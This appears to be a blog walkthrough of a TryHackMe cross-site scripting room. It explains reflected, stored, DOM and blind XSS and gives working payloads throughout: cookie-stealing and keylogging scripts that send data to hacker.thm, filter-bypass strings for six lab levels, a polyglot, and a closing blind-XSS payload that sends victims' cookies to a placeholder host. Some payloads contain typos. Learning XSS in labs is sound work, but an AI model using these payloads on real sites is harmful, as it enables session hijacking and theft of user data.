CROSS-SITE SCRIPTING
Cross-Site Scripting (XSS) is an injection attack where malicious JavaScript gets injected into a web application with the intention of being executed by other users.
XSS Payloads
In XSS the payload is the JavaScript code we wish to be executed on the targets machine. The payload is comprised of two parts, the intention and the modification. The intention is what the attacker intends the JavaScript to execute and the modification is the changes the attacker needs to do on the code to make it execute in each specific scenario.
Proof of Concept
This is a simple payload in order to prove that an attacker can actually achieve XSS on a website:
<script>alert('XSS');</script>Session Stealing
Details of a users session, such as log in tokens are often kept in cookies on the targets machine. The below JavaScript takes the target's cookie, base64 encodes it to ensure successful transmission and then posts it to a website under the attackers control
<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>Key logger
The below acts a key logger, which means anything typed on the webpage will be forwarder to a website under the attackers control.
The below acts a key logger, which means anything typed on the webpage will be forwarder to a website under the attackers control.
<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>Business Logic
This payload aims to call a particular network resource or JavaScript function. For example, imagine a JavaScript function called
user.changeEmail(). A payload could look like:<script>user.changeEmail('attacker@hacker.thm');</script>Reflected XSS
Reflected XSS happens when user-supplied data in an HTTP request is included in the webpage source without any validation.
Example Scenario:
A website where if a user enters incorrect input, an error message is displayed and the content of the error message gets taken from the error parameter in the query string and is built in to the page source.
Potential Impact:
The attacker could send links or embed them into an iframe on another website containing a JavaScript payload to potential victims which, if executed, would run the JavaScript. This could lead to revealing sensitive data.
How to Test for Reflected XSS:
The possible points of entry for Reflect XSS:
- Parameters in the URL Query String
- URL File Path
- Sometimes HTTP Headers (although unlikely exploitable in practice)
Once data that is being reflected in the web application, the attacker will need to confirm that a JavaScript payload can be executed (using a Proof of Concept payload).
Stored XSS
Stored XSS is a payload that is stored on the web app and then gets run when other users visit the site or web page.
For example, a website that allows users to post comments that has poorly configured filtering an attacker may be able to post JavaScript code which will execute whenever other users visit the website. This payload could redirect users to another site or steal users session cookie data, for example.
How to Test for Stored XSS:
Every point of entry where data can be stored needs to be tested and then shown back to areas that other users have access to. For example:
- Comments on a blog
- User profile information
- Website Listings
Some developers think using client-side filtering is enough protection, however an attacker manually send requests to circumvent this. For example if the website has a dropdown menu for an age field, an attacker could submit code instead,
DOM Based XSS
Document Object Model (DOM) is a programming interface for HTML and XML documents. It represents the page so that programmes can change the document structure, style and content. A web page is just a document and can either be displayed as HTML or in the browser window. See more here.
Exploiting the DOM
Dom based XSS is where the JavaScript executes directly in the browser without any new pages being loaded or data being submitted to the backend. The payload executed when the websites JavaScript code acts on input or user interaction.
Example:
The website's JavaScript gets the contents from the
window.location.has parameter and then writes that onto the page in the currently being viewed section. The contents of the hash aren't checked for malicious code, allowing an attacker to inject JavaScript of their choosing onto the webpage.How to Test for Dom Based XSS
An attacker needs to look for code that access certain variables that an attacker has control over, such as
window.location.x parameters. Once vulnerable parameters are found an attacker needs to see how they are handled and whether the values are ever written to the web page's DOM or passed to unsafe JavaScript methods such as eval().Blind XSS
Blind XSS is similar to Stored XSS, however the attacker cannot see the payload working or be able to test it against themselves first. For example, if a website has a complaint form that doesn't get checked for malicious code that is sent to a web server and then viewed by staff. The attackers JavaScript could make calls back to the attackers website, revealing sensitive data.
When testing for Blind XSS vulnerabilities, an attacker needs to ensure the payload has a call back (usually an HTTP request) in order to know when code is being executed.
A popular tool is xsshunter.
Perfecting a Payload
In order to determine how a payload should be crafted, it is a good idea to input test data in to fields that will be used for XSS attacks. For example, inputting a name in to a text field, then viewing the source of the web page and examining how the data is handled. It can also be worth trying special characters or HTML tags that may be filtered in order to determine how to craft an effective payload.
Level One:
Below is a a text input field, once the text is submitted, it is reflected back to us on the web page.
For this payload, we will try
<script>alter('THM');</script> and find that the payload executes upon submitting input.Level Two:
This time when entering a name, the name is being reflected back in an input tag.
Viewing page source we can see the name reflected inside the value of the input tag.
The previous payload would not work inside an input tag, instead we need to escape the input tag by closing the previous tag. This can be achieved with
">. So the full payload would be: "><script>alert('THM');<script> Level Three:
This time our input is being reflected to us in a
textarea tag. This will have to be escaped a differently by suppling a closing tag to textareaCE as part of the payload. The payload would look like:</textarea><script>alert('THM');</script>CE
Upon entering a name to the text field the name is reflected back on the web page, however when viewing source we can see that a DOM function is being used. In order to escape this function and deliver a payload we use
' to close the string input ; to signify the end of the function and // to comment out any remaining code after the payload. The full payload looks like ';alert('THM');//
Level Five:
When attempting to deliver the same payload as level one we are instead returned the source code below. We can see that
script is being filtered out. We can attempt <sscriptcript>alert('THM');</sscriptcript> instead as when the script substring is filtered out, we will still be left with a complete <script>.
Level Six:
In this example, we are trying to submit a payload via a text box that is used to choose an image, therefore the input is reflected back to us in a
img tag. The input also has some filtering in the form of filtering out < and >. We can take advantage of the attributes of the img tag and use the onload event. Our playload would be /images/cat.jpg" onload="alert('THM');Polyglots:
An XSS polyglot is a string of text which can escape attributes, tags and bypass filters all in one. An example polyglot is below:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/**/onerror=alert('THM'))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/-!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e
Practical Example of a Blind XSS
I have visited a website (Final task of this THM room) and there is a a support ticket form that can be filled in. The form is filled in with test text in order to further examine how the website handles input from the user.
Here the ticket is submitted and displayed.
Upon clicking the ticket id we can view the contents of Support Ticket.
Upon viewing the Source code we can see that the contents of the ticket are reflected back to us in a
<textarea> tag.
</textarea>test to escape the <textarea> tag and insert text to the page outside of the intended area.
The previous payload was a success, so now we will try and submit some JavaScript and see if there is any further filtering and if we are able to execute the JavaScript.
</textarea><script>fetch('http://{URL_OR_IP}?cookie=' + btoa(document.cookie) );</script> is designed to close the <textarea> tag, then fetch() makes an HTTP request.?cookie= is the query string that contains the victims cookies and btoa() command base64 encodes the victim's cookies.
Comments
Post a Comment